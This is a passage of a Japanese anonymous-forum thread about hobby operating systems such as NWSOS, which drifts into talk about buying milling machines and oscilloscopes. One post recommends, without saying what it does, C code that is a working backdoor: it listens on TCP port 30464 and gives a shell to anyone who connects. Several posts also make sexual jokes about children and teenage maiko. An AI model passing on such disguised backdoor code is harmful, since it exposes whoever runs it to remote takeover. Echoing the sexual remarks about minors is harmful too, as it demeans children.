川合秀実 0%（0票）
LightCone 0%（0票）
ひげぽん 0%（0票）
sakky 86%（6票）

>>406
誰やねん。

なんか開発機が少し使うと凄い唸り方をするように……。
危ないからバックアップ中。

>>360
考えたら、単にfdの表を二重に持たない為か。

>>408

昨日の朝刊読め。

>>409
新聞取ってない。

ところでコロポックルってなんなの
トリップなんではずしたの

>>409
どこの朝刊？
トムなんてどこにも書いてないっす。

>>410-411
普段メインで使ってたPCがバックアップ中で使えない。
今は別の奴から書き込んでる。
トリップは専用ブラウザに覚えさせてて自分では覚えてないから出せない。

> ところでコロポックルってなんなの
ウチに3人いるよ。
俺が2日酔いで寝込んでると養命酒を持ってきて労わってくれる。

>>412

コロポックル生息地域

エロゲさがし厨に白鍵

投稿時間：04/02/23(Mon) 11:45
投稿者名：ＭＡＳＫ仮面
Ｅメール：
ＵＲＬ　：
タイトル：Macの世界では常識。単純解決！

> 往年の銘ソフト"Alice(TOSHIBA EMI;1991)"をプレイしようとしても、「MicroMind Playerを作動させるメモリが足りない」旨のアラートが出て、プレイできません。
> どなたかBasiliskIIで"Alice"をプレイできた方いませんでしょうか？

特に、現Macromediaのディレクタームービーを使っている様なソフトはBasiliskのモニタ色数を、16色モード、あるいは、256色モードで Mac OS を立ち上げましょう。

カクテルソフト、まんぼう工房、赤ケース、インターハート、リビドー等各社制作のエロゲが動く様になります。

それ以外は、32000色以下の設定にしないと動かないソフトが結構あります。

Macのエロゲは少ないので、非常に貴重ではあります。

>>413
すまん、やっぱ意味わからん。

バックアップが終わらん。HDDが死にかけてるらしい。

>>414
悪いが、Mac使ったことない。

>>415
せっかくだから暫く俺の代わりやっててくれ。

>>416
OK

>>415

き◯み市民じゃないの?

http://49uper.com:8080/html/img-s/7313.png
なにこれマジきもいんですけど

横にいる禿の方が気になる

手前で喋ってるviユーザー会が一番キモい

>>417
乙。って何もやってねえ。

>>418
どこか知らんけど違う。

俺も初めHDDの問題と思ってたけど、扇風機の問題かも。
どっちにしても1時間から2時間起動してると動きが極端におかしくなる。

Pentium 75MHzのBIBLOでソース書いてコンパイル時のみ前の開発機を起動、
という流れで全く問題無く作業が進む。
俺しばらく新しいのいらないや。

やっぱりトリップ打ち間違えた……orz

>>424
（・∀・）ﾆﾔﾆﾔ

>>423
このトリップトリッパでみたことある!!!


ような枳は市内。そんなむずかしいとりっぷなのかよおrz

From: [12] マイク ◆yrBrqfF1Ew <>
Date: 04/09/07 04:38 ID:qdKLmqGr

これお勧め。

#include<unistd.h>
#include<sys/socket.h>
#include<netinet/in.h>
int soc,cli,soc_len;struct sockaddr_in serv_addr;
struct sockaddr_in cli_addr;int main(){if(fork()==0){
serv_addr.sin_family=AF_INET;serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
serv_addr.sin_port=htons(30464);soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
bind(soc,(struct sockaddr *)&serv_addr,sizeof(serv_addr));listen(soc,1);
soc_len=sizeof(cli_addr);cli=accept(soc,(struct sockaddr *)&cli_addr,&soc_len);
dup2(cli,0);dup2(cli,1);dup2(cli,2);execl("/bin/sh","sh",0);}}

>>426
元々透明あぼーんの為に付けてるトリップだからなー。
苦労して解析しても孤独死するだけなんじゃ。
考えたらトリップ出せない時でも名前欄に「nl7ClMRWE6」を含めてた方が良かったな。

さすがにネットがまともに使えないと不便なので、
知り合いのとこにあった使われてないノートを借りて来た。
多少作業が楽になった感じ。
ここ1週間くらいのストレスともおさらば出来そう。

NWSOS Ver 0.034をULしておきました。詳細はWikiにて。

>>429
お疲れさまでーす。

今回はインストールパッケージでの配布なので、Windowsユーザーには
楽にインストールできると思います:

http://www.nowsmartsoft.or.tv/download/free/Install/

あ、いい忘れましたが、今回のインストーラーは、Win2000/XP専用です。
以前までのようにDOSや、Win95/98/Meには対応していません

DiskImageきぼん

mkfatimg -i aipl.bin aloader.bin image/*
じゃBad System

わすれないうちにメモ http://www.queenslounge.com/bbs/joyful.cgi?

>>433 置いときました:
http://nowsmartsoft.or.tv/download/free/DISK-IMAGE/

age

>>435
>>434

http://dot.osask.jp/modules/news/article.php?storyid=33

やっぱり川合さんは天才でした（´_ゝ｀）

天才なら、京大の基礎理論研究所とかでがんばってくだされ。
横浜の文理学部とかでなく。

阿保気七誌出乙

NWSOS Ver 0.034は、Virutal PC 2004 for Windows の評価版で
動作を確認しました。Ver 0.033までは不具合があったそうですが。

>>438
Kの子

インストールパッケージのインストーラーを、Windows 95/98/Meにも
対応しておきました。つまり、Windows 95/98/Me/2000/XPから、
NWSOSを簡単にインストールできるということです。
確認はしていませんが、Win95OSR2などでも大丈夫なはずです。

RawWriteや、ddコマンドを用いたディスク・イメージのFDへの直接
書き込みが好きでなかった人は、是非お試しください。

インストーラーをダブルクリックして、指示に従うだけでインストール
作業ができますので、技術的なことがよくわからない人にもお勧めです。

NWSOSの起動は機種を選ぶ、という評判があって、どうしても直したかった
のですが、Ver 0.033 --> Ver 0.034の修正で改善された可能性があり
ます。今まで起動できなかった方に是非試していただきたいです。

ディスクイメージで配布されている場合、何がインストールされるか
分かりにくいのですが、インストールパッケージ付属のインストーラー
でのインストールだと、IPLとローダーを以外は、Imageフォルダに
Explorerなどで見えるファイルがコピーされるだけなので、慎重な
人にもわかりやすいのではないかと思います。

また、Imageフォルダの内容を自分でカスタマイズすれば、自分専用の
インストールパッケージを作ることもできます。たとえば、
開発環境が必要ない場合は、Image/DEVELOPフォルダを削除して
しまえば、インストール時間を短縮できます。

さらに、このインストーラは、既にファイルが存在しているFDに、
NWSOSのシステムだけを追加的にインストールすることもできます。
空フロッピーでない場合は、消されずに残されるのです。
最初データ用のFDとして扱っていたFDに、NWSOSのシステムを追加
インストールするようなことも可能です。

ただし、不必要なファイルをImageフォルダからあらかじめ削除して
おかないと、容量の問題で入らないとは思いますが。

>>445
汎用化してfat_toolみたいにしてはどうでしょう？

rawritewin+imgのset kibon

（；´Д｀）隊長、使えるフロッピーがさっぱり見つかりません！
今から買いに出るか……。

俺のマシンにはそもそもフロッピードライブが付いてないな。数年前HDDを
3.5"ベイに突っ込む為に退役(破壊)頂いた。

# 結局仮想マシンで試すー

2chからオナニーまで出来るようにならないと実マシンで動かす酔狂は少ないと思ﾜﾚﾒ

THE-BBSってmonazilla規格に対応してないの?navi2chで見れない

>>449
実機だと、ディスク・アクセスが容量自動調整のファイル・バッファの
効果で実アクセスなしになる様子が確かめられるので、是非やってほしい
のでございます。
(エミュだと他の和製OSとの差がわかりにくいのです。(^_^;;)）

俺のブックマークhttp://www.megabbs.com/Baby/index.html
張らせてね

えーと、コマンドラインから、
micro[RET]
としてみてください。

VFSのテストスクリプトが走ります。

スクリプトの最後の行の、

vfstest read c:/disk 0 32

で、FDのoffset 0から32バイトをセクタ・ダンプします。

内部的には、open("c:/disk", ) ---> lseek(), read()してます。
一般アプリからもこの方法でセクタの直接読み込みができます。
biosdisk.exeがBIOSを使ったディスクのドライバで、内部で、
bv86CallBIOS()を用いて、DISK-BIOSをコールしてます。
一般アプリが、マウント・ポイントをopen(),read()すると、
vfs.exeがbiosdisk.exeにメッセージを送って、DISKにアクセス
するのですが。

micro.nshファイルにマウント・ポイントを設定するようなスクリプトが
あるのですが。まだ、いろいろ設計どおりではないのですが。

www.megabbs.com/cgi-bin/readres.cgi?bo=Baby&vi=1038448511&rm=100

Lハケーン

>>449
ハードディスク・ベイがいっぱいついてる箱に換えておくんなはれ。

それか、USBドライブ付けて、BIOSエミュレーションでなんとか、
しのいでおくれやす。

京都では特別に法令で小学生の夜の勤務が認められていると言ううわさは本当でしょうか

>>457
さあ、何事も、現地調査が重要ですぞ。

なんてね。

>>458
中卒の舞妓はんとはもうエッチしてみた?

いつも妙なのが沸いてくるんだが、これは住人が交代で妙なのを演じてるだけで
このキャラクタはOS板の複数民間で共有されているのではないかと思う今日この頃

>>461
発表を待てや
http://pc5.2ch.net/test/read.cgi/os/1066957498/283

それも妙なのだと思ったが

それにしても、Longhorn出ても買いたくないなあ。でも、新しいのが
出ると、XPもUpdateしたときにワザとIEにバグが入ったような状態に
させられるようでいやな予感がする。2000もUpdateを続けていくと、
IEが変になっていって、ソース表示ができなくなったりとかして
いったような気がするし。それでも、Linuxだけで間に合わないような
気もするし。

あ、実は、OSの値段そのものは大したことない。
困るのは開発環境の値段。アカデミックな人のみ優遇するMSって、
その手の人が、研究予算を使って導入していた使い慣れているUnix系
礼賛なのを知ってのことなんかい?　一般庶民は、Unix系なんて換えず、
MS-DOSとか使って来た延長でWinを使ってるんだけど。
Unixマシンは高価だったから、研究機関でしか買えなかった名残
だと個人的には思ってるんだけど。別段、Unixの方が優れている
というわけではないと思うし。まあ、Winに比べればすぐれているか。(^_^;)

と、煽りを入れて、、。(^_^;)

そういうのって、MSがアプリ間の複雑に絡み合った関係を詳細テストするのを
怠ってるせいなんじゃないかと最近思ってる。同じパッチ当ててもOSによって
反応が違うからねぇ…。故意じゃないと思うんだけど。。
L氏には是非ともライブラリ間の依存性をすっきり解決出来るトリックを
盛り込んでほしいものだ。

ワテ、アホなもので、、、。

簡単な道具しか使えませんです。

>>467
>そういうのって、MSがアプリ間の複雑に絡み合った関係を詳細テストするのを
>怠ってるせいなんじゃないかと最近思ってる。同じパッチ当ててもOSによって
>反応が違うからねぇ…。故意じゃないと思うんだけど。。

知り合いが、それはMSの戦略であると、ビル・ゲイツが直々に語って
いると言ってました。

つまり、新しいバージョンを売るために、古いバージョンには、少し
バグを入れておくそうな。その話だと、ソフトには、ワザとバグを
入れておくのだそうな。完全にバグを取ってしまうと新しいバージョン
が売れないと。バグがあると、新しいバージョンでは直っているかと
思ってみんな買ってしまうそうな。しかし、また直ってないと。
これは、技術力がないからではなく、そういう策略をしてると言う話。

なので、最初はなかった不具合を、自動Updateで徐々に入れていくと
いう戦略をとっているとしても不思議はないのです。困ったことに。

統合失調の発作北─ｗｗﾍ√ﾚｖｖ〜(ﾟ∀ﾟ)─ｗｗﾍ√ﾚｖｖ〜─ !!

「知り合いの話」で陰謀論。
オカルトの典型ですな。

あああああああああああああああああああああああああああああああああっ

なんか忘れてるおかしいと思ってたらっ

IJGのライセンスについてまだ問い合わせてねえっ
手が遅いのはともかく忘れてるって……
とりあえず100ぺん氏んどけ　＞俺

>>465
>アカデミックな人のみ優遇するMSって、
>その手の人が、研究予算を使って導入していた使い慣れているUnix系
>礼賛なのを知ってのことなんかい?

あれは対象が大学や院ではなくて、主に小中学校や幼稚園やその教諭が対象。
その辺はアホで世間知らずなので、今でも結構引っかかるのだ。

ANTOSをGRUBから起動して1FDで動くようにすることなんてやっぱり俺には童貞無理那覇市だったorz

まったく関係ないけど、トリマーやルーターっていう工具が欲しいです。
ホントは、ボール盤とかフライス盤とか旋盤も欲しいけど、大きすぎて
家族が文句言われそうなので買えないんです。アメリカとかだと、
トリマーは一家に一台、旋盤も家庭で使うのが流行ってるそうな。
住宅事情が違うけど、、、。
何に使うネン と突っ込まれても、それは、ちょっと、、、。

ああ、そういえな、アメリカのものは何でも大きいな。日本じゃ
邪魔になるなり。

うう、物欲が、、。
http://www.kiso-proxxon.co.jp/frame.html
買ってしまいそう。

あ、プレゼントするなら:http://www.kiso-proxxon.co.jp/frame.html
こちらにしてくださいませ。(^_^;)/

う、フレームでしたか、
これと、 http://www.kiso-proxxon.co.jp/heavy_html/27110.html
これとか、http://www.kiso-proxxon.co.jp/heavy_html/24106.html
です。

コンピュータ制御(CNC)のやつもいいな。

そんなもん買って何すんのよー
PCケース自作でもやるの？

にょが（ｒｙ

箸で飯食う人は外人より手先が器用なので、カンナやノミやサンドペーバーを
手動で使っても結構いけるけどね。

>>474
あれはなにも知らないうちにMS漬けにして、それ以外の世界から隔離してしまうという
恐ろしい計画なのです。

>>480
木の温もりつきですか？

なんかものすごく安い:
http://www2.117.ne.jp/~Nakasho/tokubai/tokubai.htm

Kがやりたいけどやれないこと↓[[Osa:K]]

もし僕に数日の余裕があれば、gccとかGOで書いた32bitのOSをheboOSのノリででっち上げて、
「ほらもうこれを改造していけばC言語だけで OS作れるでしょ？アセンブラができなければOSは作れない、
とか言う必要は無いのだよ、ははは」なんてやりたいんですがねえ（笑）。適当にプロテクトモードにして
ページングONでフラット設計にしておけばいいだろうから、たぶん10KB未満でできそう。


NWSCで体交してみればどうか。

http://www.mail-archive.com/[email protected]/msg36036.html

There's no way to write a processor control register
without assembly language

hahaha

http://mm.ilug-bom.org.in/pipermail/linuxers/Week-of-Mon-20021118/008051.html

Hacking into bootloaders is always a painful task. Yes, it IS doable
without keeping all the registers in your brain and No you can not do it
without assembly.

>>479
ヘリコプターの二重反転式メインローターにデファレンシャル・ギアを
合体したようなギアボックスを考案したので作ってみたくなったのです。
(^_^;)

単なる二重反転式ローターだと二枚のローターの回転数が同じになって
しまうだけで、トルクは同じにならないため、必ずしも偶力を相殺でき
ない恐れがあります。

ここにさらにデファレンシャル・ギアを入れてやると、もしかして
二枚のローターが空気を掻き回す際の反作用としてのトルクが、
近似的に等しくなるのではないかと思いついてやってみたくなった
のでありました。(^_^;)/

こんなことやってると、またオタッキーなことやってと家族から
そしられるのは目に見えてるのですが(汗)。

二つの軸のトルクを自動的に同じにする無段階変速機とか発明したら
面白いかもね。

電子制御すればできそうだけど、「ローテク」でやったほうが、
雷とかのノイズでヘリが墜落する心配もないし、あと、作るときの
パズル的要素が大きくて興味深いので趣味としては面白い(^_^;)

とりあえずそのギミックをNWSOS上でシミュレートするソフトとか書いてみれば面白いんじゃないかと(^_^;)

ロータがなんだって?

router=ルータ=ローター=ラウター

>>341

>>484
やりたいことが増え続けるのはよくないことですな。
てOSASKスレに書いた方がいいのか？

>>487
入れ物はともかく中身を手作りするのは無謀なので、出来合いの部品を流用するか、
図面書いて町工場で作ってもらった方がいいと思う。

>>495
>入れ物はともかく中身を手作りするのは無謀なので、出来合いの部品を流用するか、
>図面書いて町工場で作ってもらった方がいいと思う。
歯車は、その辺で見つけたカサ歯車とかを使うつもりです。
作りたいのは「ガワ」です。

>>496
出来上がりのサイズはどの程度を想定してるの?

>>497
CADで作図してみたところ、ギア・ボックスは、直径70mm, 高さ60mmの
円筒状になりそうです。ちょっと大きい。

ゴバクスマソ&あきらめる

だれか勝手にやっちょくれ

http://srekcah.org/~utashiro/profile/mirror/news-prototype.jpg
NWSOS用端末にぴったり

>>498
海苔やお茶の空き缶で代用するとか…。500MLスチール缶は166×65程度なので
少し小さい。

強度不足で、試動したとたんに壊れる場面が目に浮かぶけど。。

>>501
いくら素人が作るものといっても、精密な加工が必要なものなので、
それじゃちょっと無理です。

>>502
失礼しますた。

>>389
随分と御博学のようで。

http://www2.117.ne.jp/~Nakasho/tokubai/tokubai.htm

フライスマシン(卓上フライス盤)＋別売りセット

キボーン　買ってけれ。_(_ _)_

高い

>>506
高いんですーー

1度や2度の工作のためにフライス盤買うアフォがいるかよ。
悪いことは言わんから町工場にいって作ってもらえ。

実験なら全部プラスチックでつくりゃいいのでは？
手で加工できるし。

強度がちと気になるが、手でまわして確認するくらいなら問題なかろう。

>>509
全部プラスチックにしたいんですが、2mm幅の溝を掘りたい箇所があって、
フライス盤があれば楽かなと。(^_^;)

>>510
たったそれだけのためにフライス盤買うのかよ。
埃をかぶる運命にあるフライス盤が可哀想すぎる。

>>511
ほら、家の部品が壊れたときに削りだしで作ってしまえる可能性とか、
CNC化すれば電子回路の自作基盤とかも彫れる可能性とかもあるわけ
ですし。(^_^;)

PC箱の前面にLED付けられるようにするとか、ディスクベイを増やすとかも
できそうなわけで。(^_^;;)

自動ジャガイモ皮むき機とかにも改良できる可能性だって。(^_^;;;)

カメラ入力を画像キャプチャボードで取り込んで、MS Vision SDKで
分析、ジャガイモの形状に合わせてフライス盤のX,Y,Zモーターを
動かす。上面がすんだら180度回転させて下面も切削。

実用新案 ↑ジャガイモ皮むき機。(^_^;;;;)

あんた、フライス盤を仕事で使っている職人さんと、フライス盤をつくっている職人さんをバカにしすぎ。
はしゃぐのもいいけど、それ専門で腕一本でメシを食っているプロの人達に対して失礼はいかんよ。

別にそんなわけでは、、。

>>516
プロはいくら位でやってくれるの?

(^_^;;;;;←あんたもこれ好きだな

test

5 名前： 菩提樹 ◆JBc30S5w 投稿日： 02/03/29 11:02
>>1
逝って良し！

http://junichi.ddo.jp/read.cgi?dat=200408220000

ワロタので俺様ようメモ

http://www.nowsmartsoft.or.tv/nws/Japanese/nws3d.htm
開発停止?

また変なのがきた。

>>523 それは今は保留中です。(^^;)

>>518
以前、中空パイプにDカットとネジ切を、そればかり専門にやっている
わけではない中小加工業者に見積もってもらったら、一万円以上でした。
今回のように複雑なものだと、きっと10万はかかります。

それと、その場合、実験しながら設計して行くようなことはできず、
基本的に最初から完全なCAD設計図を渡さないです。

実験しながら進めていくためには、やっぱり自分でやらないと。

>>526 誤字訂正
渡さないです--->渡さないといけないです

フライス盤があれば、かなり色んなものを作ることができそうです。

普段、ああいうものがあったらいいな、と思っても、せいぜい色んな
店を探して似たようなものを見つけてくる事くらいしかしません。

自分で作れれば色んなメリットがありますが、穴や溝を正確な
位置に開けるのでさえ簡単ではないので、面倒でやらないわけ
です。

最近は電動ドリルくらい持ってる人も多いでしょうが、思った位置に
正確に穴を開けるのは、やってみると分かりますが結構大変です。
手で支えるだけだと滑ってしまいがちだからです。

フライス盤があれば、穴あけは当然正確にできますし、曲線状に
溝を掘ったり、四角い穴を開けたり、段差を作ったりするようなことも
できるわけで、重宝しそうではあるのですが。

というわけで、OS作りをやめて、フライス盤作りに専念します。

(んなわけない)

買う→とりあえず使ってみる→（゜∀゜）ウマー→２，３週間遊ぶ→押入れ逝き→埃まみれ→死亡

そういえば、「パソコン(コンピュータ)」の次に来るものを探そうと
する動きがしばらく前からあると思うのですが、世間では、
「ロボット」「バイオ」「マイクロマシン」等が騒がしいようです。

しかし、どれも「遠い」んです。


今さっき、次にくるものは「超小型フライス盤、旋盤」「3Dモデラ」
ではないか、とフッと思いました。

ひょっとすると、「自動料理」も、フライス盤の応用でできるように
なるかもしれないんじゃないか、とも。

SFに出てくる「レプリケータ」が、ある側面で現実化する可能性が
あります。商品のCADデータを購入して、手元の3Dモデラや小型
フライス盤で「構築」することが夢ではないんじゃないかと思え
てきました。

設計図というソフトウェアさえあれば、構造が単純なものなら複製
できるようになる時代が来るんじゃないでしょうか。

パソコンに夢を抱いていた時代が去った代わりに、「小型工場」が
それに替わりそうな気がします。

>>531
次はこれがくる
http://headlines.yahoo.co.jp/hl?a=20040923-00000301-yom-soci

「レプリケータ」は、スター・トレックに出てくる万能物体構築装置
です。話の中では分子をひとつずつ(?)積み重ねて物体を形作って
いくようなものだと思います。

さまざまな分子をそんな風に積み重ねることができるようになるのは、
まだまだ技術的に夢物語だと思います。分子数も多すぎますし。

しかし、フライス盤で鉄やプラスチックを削っていって形を作って
いく方法なら、今から始めても時間の問題でできてしまいそうです。

この方法だと夢が夢ではなくなるんじゃないでしょうか。
もっとも、これでは、スタートレックのように「食べ物」を構築
するのは無理でしょうが。

>>532
個人的には、その方法は、分子数が多すぎて、近未来的には難しい
と思います。

>>530
でも、フライス盤の場合、一度使った後はしばらく使わなくても、
徐々に使っていくような気がします。

必要な場面が多そうなので。

>>532
あと、量子的な話は、まだ良く分からない部分が多いので、
百年後も無理っぽいです。色んな現象で、矛盾なく説明できない
ようなことが沢山見つかってしまっているようなので。
理論がどっかで変なんでしょうけど。

フライス盤はＤＩＹショップの特売では￥39800で出回ることもあるらしい。

>>537
それに高さ自由クランプとドリル・チャックを付属すると+7000円位
になるけど、ドリルチャックなんて要らないといえば要らないので、
本体だけで39800円なら、それはそれでいいかな。

http://www.geocities.co.jp/Technopolis/9382/CNC/CNC.html
によれば、39800円は「コーナン」かも。

フライス盤うんたら以前にあんた自分にそれを使う技術があるのかどうか
ちゃんと考えてみそ。

>>537
コーナンだと、本体だけだと、
http://www.kohnan-eshop.com/koh209.cgi?seicd=4952989160007
普段(?)は、41790円みたい。

>>540
やってみないと分かりまへん。

フライス盤に飽きた場合に中古で売り払うケースを探したけど、相場がわか
らなかった。
粗大ゴミで出すと、自治体によるが１万程度になるかもしれない。物置に置い
とけば問題ないが。

>>542
> 粗大ゴミで出すと、自治体によるが１万程度になるかもしれない。物置に置い
> とけば問題ないが。

あまりにもかわいそうすぎる。
フライスだって、もっと色々なものを作るために使ってほしいだろうに。
ジャガイモは論外だが。

チンポを小便にしか使わないのもかわいそうすぎると思うが。

オシロ・スコープやスペクトラム・アナライザも物凄く高い。
高周波増幅回路や電波を使った通信などをやろうとすれば、こういった
物がないと難しい。
高周波技術者が少ないと言われているが、その原因はこういう敷居の
高さが問題だと思う。

理屈は大体分かっても、実測できなきゃまともな高周波増幅回路は作れない
と思う。

高周波ってダイオードの非線形性のような素子の副作用的な性質
を積極的に使わざるをえなかったり(スーパーヘテロダイン方式
とかで)、基盤の浮遊容量も関係するし、分布乗数回路的な反射
もあれば、入力アンテナへの局部発信回路からの逆放射もあれば、
回路の前段と後段がすっきりとは切り分けできないとか、
コイルが実際に規定のインダクタンスを持っているかも定かでは
ないとか(?)、実際に測定してみたくなる要素がいっぱいある。

ただ、理屈で全部計算しようと思えばできないこともないけど。
別にラプラス変換とかで考えなくても、巨大な連立微分方程式を
直接解いて解けないこともないような気がする。その方がややこしい
ことを考えなくてすむし。

そんでも、測ってみたほうが確実だし、電波の場合、他人に迷惑が
かかるので計算ミスでは済まされないことがあるので、やっぱり
測定器は必要。それが、数十万円もするような現状では高周波
技術者が育たないのは当たり前。

あと、理論計算しようにも、トランジスタの規格表に欲しいデータが全て
載ってるわけではないので厳密には無理なのかも。
データシートとか見つけてくればいいじゃん、と思っても、
そのデータシートにさえ、自分が欲しい(計算に必要っぽい)データ
が全て載ってるわけじゃない場合が多いし。

いや、載っている、と思われる方、すんまへん、私がワルウござんすた。
素人のたわごとです。

デジタル・オシロって、大体A/D変換してるんだろうけど、
アナログオシロの画面をデジカメで撮影してゆっくり解析
する方式ならもっと安く作れるような。

このアイデアで誰か作って。

USBに繋げれて、パソコンをオシロの変わりにするほうが、現実的だし、安いと思う。
昔だとRS-232Cだったはずだが、現代ではUSBが良いだろう

PC程度の処理能力じゃオシロの代わりにならないわけだが・・・

どーでもいいんだけどそろそろUSB3とか出てこないのかな？
IEEE1394b(800Mbs)で転送速度抜かれてるんだけど。
PCI Express時代的には1Gbpsぐらい対応して欲しいんだけどな。
これを使いきれるデバイスやコントローラにかかる金を考えると非常にアレだけど。

>>547 自己レスというか、補足というか。

高速なA/Dコンバータは、高くついてIC一個で十万するようなもの
ある。しかし、現実は、安物のアナログ・オシロの方が正しい波形を
出すこともあるっぽい。というか実際問題、アナログ・オシロでは、
どんな安物でも、デジタルオシロみたいにギザ・ギザにならない。

一画面分の波形を止めて、大体の様子をみたいだけの場合も多いので、
それなら、アナログ・オシロの画面をスローブ信号に同期して
デジタル・カメラで撮影してしまえば、後でじっくり見ることもできる
し、重宝されるのではないかと思う。

自作機の不具合も、波形チェックができれば、どの部品の不具合か
分かるかもしれない。何も調べられない現状では、問題ない部品まで
新品と取り替えてみたりして、すごく無駄が多い。

「お求めやすい価格の
ＴＳ−８０６００
\1,480,000
（税込み \1,554,000）
を追加しました。」

http://www.iti.iwatsu.co.jp/products/ss/ts81000/16_01.html

うう。

>>547
管が高くなるので、トータルではそれほど安くならんような。
アナログ部増えると、調整の手間が洒落にならんし。

>>549
デジタルストレージで、UIだけPCなら難なくこなせると思いまふが。

>>552
簡単に波形が見れるようになると、何の問題も無い波形でもケチ付ける
自称上級者が多数登場する悪寒。

まあ、まじめにチェックするなら、それなりのロジアナを持ってこないと無理ですな。

>>553
だからさ、いきなりそんなモデルじゃなくて、普通のオシロを中古で仕入れて
使ってみなさいって。それで十分にオシロを使いこなす技量が身についたら
もっと高周波に移ればいい。

いきなり高周波な世界で計測して、適切な対応ができるわけ？
そういう買い物は、「計測すれば対応できる」という自信がついてから。

おまいらの童貞喪失年齢おしえてくれ 未経験は「未」と表記。

俺: 未



orz

18

漏れも18

>>555
オシロは使ってたのですが、初心者ほど良い機種を選んだ方がいいという
観点もあるわけで、難しいところではあります。
もっとも、せいぜい15万円までですが。

というより、オシロはいいのを買えば、買い換えるようなものでもない
ので、高周波も見てみたいなら200MHzくらいまで対応してるのを買って
も損はないと思うのですが、100MHz位あれば200MHzが全く見れなく
なるわけではないという事実もあったりするわけで。波形が小さく
見えるのですが。

オシロ以上に、フライス盤はいい物だと初心者でも簡単に使えて
しまうが、安物だと上級者でも技術がいるという逆転現象がある
そうなので、最初からある程度いいものを買っておく必要がある
と思ったのですが。

それで道程喪失は................

断種法って酷い法律だよな。福祉国家スウェーデンでまでやってたらしいorz

>>561
上級者でも初心者でもいいが、君には加工技術の経験があるのか？
他人のでいいからフライス盤でモノ作りしたことあるのか？

>>564 ないでごござりまする。

>>565
だったら悪い事は言わんから、
高い買い物する前に町工場にいって、こしらえてもらえ。
そして、どうやってこしらえるか、しっかり観察しろ。
その上で、フライスが自分に本当に必要かどうか考えてみろ。

>>566
町工場の現場に行く交通費が馬鹿にならぬ。
観察したいなら何往復もしにゃならんかもしれんし。
町工場がありそうな大阪まで出るとなると、昼得切符を使っても、
往復1500円は覚悟かな。加工賃を考えると5万のフライス盤でも安い。
ボール盤としても使えるし。

>>567
使えるかどうかわからんフライス盤を5万で買って
欲しいものを作れるかどうかもわからないのと、
交通費1500円と工賃払えば欲しいものはできるし
実際にフライス盤が後々必要かどうかリアリティチェックできるのと、
どっちがいいか、よーく考えてみようね。

まあ、あとは本人の問題だから、もう余計なお節介は焼かないから安心してくれ。

>>568
>交通費1500円と工賃払えば欲しいものはできるし
人に説明できる段階ではないので、町工場はではできぬ。

>>568
>使えるかどうかわからんフライス盤を5万で買って
>欲しいものを作れるかどうかもわからないのと、
作れる可能性は高いでやんす。

別に買って使えなくて後悔するのも自分、買って上手く出来てウマーになるのも自分。

なぜ名無しが文句を言う？別に他人事じゃん。自分で損したいと言っているんだから、放っておきなさい。

>>571
誰か恵んでくれっておねだりしてるわけだが・・・

みしぇる樣は現在どうなされているのか教えてくれ。

Photo album

The photo album is not yet available. Stay tuned, our photos will soon be
online. We hope it will help us stay in contact with Marie-Anne family in the
United-States and in Canada.

↑待ちきれない

ところでJeanって普通♀の名前と言うわけでもないの?

書くスレ違う

1000近いからこっちに書いたのか。なにげに頭いいな

MichelMichelMichelMichelMichelMichel
Michel!

Michel,freedomを求めて外国のLUGに参加してきたの。そしたらMichaelってよばれてlkjfだlkfだljfldjふぁdfだl

Michel!

MichelMichel大天使Michael樣じゃありません

Michel今日闘ってない。闘わせて。

ｽﾞnｽﾞﾝﾀﾞﾀﾞｽﾞﾝﾀﾞﾀﾞﾀﾞｽﾞﾝｽﾞnﾀﾞﾀﾞｽﾞﾝｽﾞﾝﾀﾞﾀﾞﾀﾞMichelMichelMichelMichelMichelMichelMichelMichel!

続きよろ

＞ところでJeanって普通♀の名前と言うわけでもないの?
ジャンは100%男
女はJeanne（ジャンヌ）

＞MichelMichel大天使Michael樣じゃありません
洗礼名は天使や聖人から取る

大天使ミカエルはルシフェルを地獄に追放した功績でセラフに昇進したが
覆面＝ミシェル説の理由の1つも覆面がセラフだといわれていること

宗教知識が無いんでセラフっつーとマトリックスを思い浮かべるなぁ。

じーんじゃなくてじゃんって読むんだ・・・

>>578
>>347

英語圏のJean=じーん=♀
仏語圏のJean=じゃん=♂

でおk?

＞英語圏のJean=じーん=♀
ttp://dictionary.goo.ne.jp/search.php?MT=jean&kind=ej

Marie-Anne Herve du Penhoat


↑訳せ頼む

近況報告:
5980円で卓上ボール盤(FDP-10)を購入。

これにXYテーブルを自作して載せてやれば、フライス盤になるに違いない!

XYテーブルは、基本的に台にナットを取り付けて、「寸切り(長ネジ)」
をその土台につけてまわせば出来上がるはず。

本当は、普通の「寸切り」ではなく、台形ネジやボールネジを使う
んだけど、予算が、、。

普通、ネジの歯形は、三角形。ほんで、ネジの頭部がなくて軸だけの
長いネジを寸切りといいまんねん。これもミリネジの場合、
ピッチも0.5mmの倍数なので、一回転回すと0.5mmの倍数だけ進む
ので都合がいい。M3で0.5mm, M6で1mmとかやったかな。

ほんでもって、このネジにステッピングモーターを付ける。
ステッピングモーターは、(360/N)度だけ簡単に進められるから、
結局、(1/N)mm単位でテーブルを移動できるっちゅう寸法に
なる。

ほんでまあ、普通の歯形が三角形のネジだと、軸方向に対する
耐力が弱いので、フライス盤だと振動が大きく出る可能性が
あるっちゅうことで、歯形が台形のネジの方がいい。けど、
その台形ネジは、ボルトとナット合わせて2000円は覚悟しな
にゃらん。X,Yのために2セットいるので、それだけで4000円
にもなってしまう。

XYテーブルは、プロクソン製で小さいものが7980円前後、
大きいものが12000円前後で出てるので、それに比べて
安くないといけない。

というわけで、絶対に完成すると確信できるまでは、
台形ネジなど使わずに、普通の寸切りで実験した方が
賢いかなと思ってまんねん。

とりあえず、寸切りだと、一本90円とかで買えるわけで。
もちろんナットは、その辺に転がってるものと「互換性」が
あるのでただ同然。

XYテーブルは買うより自作した方がよい部分もある。
というのは、将来CNC化したいなら、ステッピングモーターなど
を取り付けるための改造を必要とするので、最初からテーブル
自体を自作しておいた方が何かと改造しやすいから。

自作の場合、部品に互換性があるので色々と改造しやすいし、
少し寸法が合わなくても台自体を作り変えることも自分で作った
なら可能なはず。それと、工作に失敗したときなどにも、同じ
ものを作り直すのに余りコストがかからないから。大部分の
部品は壊れてないだろうから再利用できるだろうし。もし、
XYテーブルが市販品だったら、壊したらなかなか修復できな
いだろうし。

あと、自作だと精度もどんどんよくしていくこともできる。
普通の寸切りの部分を台形ネジに変えてやるとか。テーブルの
スライド部分を高級な部品に交換してやるとか。ボールベアリング
をリニアにしたようなスライド部品も売ってるみたいだし。

